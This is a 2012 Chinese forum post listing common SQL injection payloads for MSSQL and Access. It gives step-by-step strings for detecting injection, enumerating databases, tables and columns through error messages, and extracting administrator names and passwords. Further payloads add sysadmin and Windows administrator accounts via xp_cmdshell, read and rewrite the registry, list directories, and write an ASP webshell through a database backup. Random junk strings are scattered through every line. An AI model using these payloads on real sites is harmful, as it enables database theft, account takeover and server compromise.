找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1777|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
) |3 p1 }6 c1 _# g$ a3 \;and 1=1 / P6 u3 V- B4 ^$ a4 q( Y) r
;and 1=2
/ H% q. f& K3 }: M# i2 p9 l
' t! U' `% H+ M7 C3 N2.初步判断是否是mssql
- n+ i' {8 t! Z7 e% [;and user>0
/ I  {' {* S7 Q# d( K9 N- P6 W
. ^7 X2 U, _; F4 z1 B4 L+ U3.判断数据库系统
3 Q5 K2 n4 b& {8 Z- T3 q;and (select count(*) from sysobjects)>0 mssql
6 t1 X8 L5 O4 b! f;and (select count(*) from msysobjects)>0 access ! ]0 j8 E2 j5 d- K7 \/ I! b7 E
7 {) @3 W" ]$ ^+ C& g  |  j
4.注入参数是字符
+ W+ n& X! {8 E9 N# S'and [查询条件] and ''=' 6 ^6 X/ I' J" O

/ c& ~6 t* d" X7 D5.搜索时没过滤参数的 ) }; M, G) P8 q% k9 u
'and [查询条件] and '%25'='
3 T0 y% Q  S1 ~8 H. ?: V
* ~- B, F7 T/ n6.猜数表名 4 w% `8 @7 k7 Q4 p' p. Y9 W
;and (select Count(*) from [表名])>0 8 }9 [- u) u* [7 j& [

( r/ U6 {! B+ n5 D7.猜字段
3 v" Y& t1 \# A6 h, c& ?2 G;and (select Count(字段名) from 表名)>0 ! F* Z! w0 r  \; f+ _

5 {  _: T7 X1 H# X" [# w# {5 C8 Y) b8.猜字段中记录长度
; m+ V6 r" o' T/ H;and (select top 1 len(字段名) from 表名)>0
+ X( M0 M' E# A% c( f% m
4 {& E$ `, H. U% Q9.(1)猜字段的ascii值(access) % m7 O/ m9 ~5 j
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ' a8 B' \0 S! B6 m

! M: ~% m! j# ]) \) x(2)猜字段的ascii值(mssql) 1 }: l( y( V& u: `
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 5 Z  J1 H8 o# G# C

7 a5 ~) t# `1 m% N) q* \10.测试权限结构(mssql)
) _8 h2 N& }7 ], n2 x;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 f( g& D& X! Y: `1 g
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, p, X7 W( Q8 m;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( h  o$ u9 j+ m7 f/ A/ N;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' [$ @2 X3 T. e, X. w6 X: p;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: Q& y, E3 S" E2 n( |' Z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- , h8 ~3 a2 L  p- {) b5 _+ w
;and 1=(select IS_MEMBER('db_owner'));--
# ^4 S4 E( Q' N, K( o# M, `
2 u' L0 v) h% k9 _0 U; p9 h! D2 |11.添加mssql和系统的帐户
3 \4 m) x* _$ U: s  b- K;exec master.dbo.sp_addlogin username;--
, a6 X; Q- X0 M* h- |$ t;exec master.dbo.sp_password null,username,password;--
! H" ]4 q4 f# [$ @: O6 }5 t;exec master.dbo.sp_addsrvrolemember sysadmin username;--
' T$ G- M: p. s  z  ]( a; W6 x$ b;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- # ^( V- k0 R2 ]  `
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 e6 V- [1 c7 C+ c& e
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ A$ ~3 u8 f8 w! W* J& w+ J5 T& l1 G0 X/ E; D' D2 f
12.(1)遍历目录 + I5 H" |* D8 I5 q
;create table dirs(paths varchar(100), id int)
% C: `1 \. E8 Z7 V. Y9 ]3 t- e/ [;insert dirs exec master.dbo.xp_dirtree 'c:\' ; U- F$ ]+ e% {% w7 v
;and (select top 1 paths from dirs)>0 " F- W4 I5 d! P) |; X
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 _8 u, v& R6 G1 G  u4 `
7 }/ c; P# Q- G(2)遍历目录 $ y' s* _3 B. w( ^9 n
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 q6 g. ], V9 O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 I8 u  }& n+ d7 M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1 @$ z8 m9 V0 b9 N) _
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 # K& P2 |2 T" K! H3 X! x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 e" r9 c# G; \) O5 K) O' h5 F  _
' r# }! U7 H5 i# y
13.mssql中的存储过程
! V' z, R& j% d4 l$ n: jxp_regenumvalues 注册表根键, 子键 & q4 R$ {0 _; g  W" `
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
4 l% K5 [6 v' J3 }xp_regread 根键,子键,键值名
1 H2 m3 I- `7 P% G;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 A: X8 @+ v; s
xp_regwrite 根键,子键, 值名, 值类型, 值
4 t" ^* f& L- n% G值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' l; o& [+ C9 s1 C;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
1 u; \, o6 c) l& f8 s5 Kxp_regdeletevalue 根键,子键,值名
" I" Z; c. B5 m. L  N: v% yexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 5 Z/ H" K& i  ~; R& N1 j, `2 V3 v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 m. ]0 [$ g0 M

+ v2 M8 ]: L2 n5 v14.mssql的backup创建webshell
/ M7 M/ \  S+ ~: ^; x3 i$ luse model
4 L3 p6 O* M& s6 V) s) Ecreate table cmd(str image);
  D1 {! H1 J2 Yinsert into cmd(str) values ('<% Dim oScript %>'); 3 q3 L+ w0 R$ y5 N6 [7 A; V1 z
backup database model to disk='c:\l.asp'; 2 @" w: L* C& ]' I! C3 B: u
1 J2 L9 B* o  l2 U0 H! w
15.mssql内置函数 / W% e5 y. ~4 O  \
;and (select @@version)>0 获得Windows的版本号 % f+ }9 t/ U1 B/ [
;and user_name()='dbo' 判断当前系统的连接用户是不是sa / @5 b8 P8 ^3 E3 x; _% d
;and (select user_name())>0 爆当前系统的连接用户
7 h9 K; K0 o, I1 S. D4 J;and (select db_name())>0 得到当前连接的数据库
0 V# b# L. i4 Z$ j: z) ]  F, G' S% Q  I* x: A' T1 q. C+ u4 v2 W

2 H( u# B$ x  z; {; R# t0 S1 B/ }1 j4 [! o5 L4 q9 l
MSSQL手注暴库6 w5 _( h' k, Q
6 L: `  v, \+ Q/ L
1.暴出当前表名和列名
/ x' C% f; F; N2 ]$ j: L$ I- B在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。9 ~; u  L; P* w: ~

( O* p! m. s5 K7 N# v$ F* }, v7 D第一.爆出所有数据库名7 m6 K# _% ^+ Q. y7 i
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
0 S9 k) M  \. {2 N& C3 j# z第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。/ }* L- _% _* f* Q

( l* j" x" {0 ]' a, @! \. Z! {and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
1 f0 c4 i; D' o- H5 b
2 A, t. ^( G7 ]' d2 @' E" I5 T% @6 ~
+ I& c) v. @, S& J& e( w第二.爆出指定库中的所有表名
3 i! |/ R8 }8 K得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
; o% m# ], z" u2 A& j6 V再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。2 m' u# p' v# p7 V" ~, W3 i/ K
0 S  G* P3 c- x- B3 G, f
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
$ J8 |; Y# ]) Wand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--6 M8 p/ w4 C) i3 v; m
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--, f) |+ y$ @% s# m; G

" L& I3 t( K  T9 G# A4.爆出指定表中的所有列名
* C) ?3 |# i5 j% {( b  Rand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) # C& b4 b8 K- ]( V$ ]
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名', q- e' B3 x+ t

" }# E' ^  Z8 A, sand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名$ U$ i. q$ d. j2 n/ {  s" _7 l

" j6 a* {% y: T7 ?4 e再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " @6 ^, Q- `& n
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; O+ k9 g, ^% d% Z& z
& Q# G( k, o5 l5 b" `/ t7 G  y2 o% a4 d3 O1 x
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
' ~# l: \$ [+ |% K2 @; i9 A7 ?' O6 E- r" |" ]  `
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名& ~2 e7 t" q5 u2 y( H) K

& x6 j0 g) G8 r2 T- w' S6 W' Rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--   u% o- V, u0 I4 k3 P
8 }, C& B( q9 Y% U# D1 T
! e$ O; s2 a7 d# C; }5 l, E; ]( G

8 l+ a" [1 S5 ]7 _% Z# u5.读取指定表中的数据
1 a* y, U: e( y2 ~/ L* i& X  {4 F. j: d2 F" V
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 % u% L+ t3 {4 u6 B$ A/ v
" P0 H" c! m4 h1 v1 |* P% B* H- t( g; V
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--. M% R1 l! J! C  v, Q2 a! C

0 N" ^9 _- j" Iand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码" x+ S' ^0 E$ W6 z+ `5 O9 _

5 g5 \% s/ M3 i3 T) Y
9 P! E. t' M8 land 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
2 w& R9 \& J6 W1 z* H# w1 l# A) @  h2 s7 `
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)& I/ \4 u6 l6 x" o
9 n' Y2 |: f1 f% G7 ?
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--3 x& j- L7 l" f! K0 P- F

- k; {- v9 k" a+ _* d知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。  W+ Y, m8 l) s6 |" b+ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表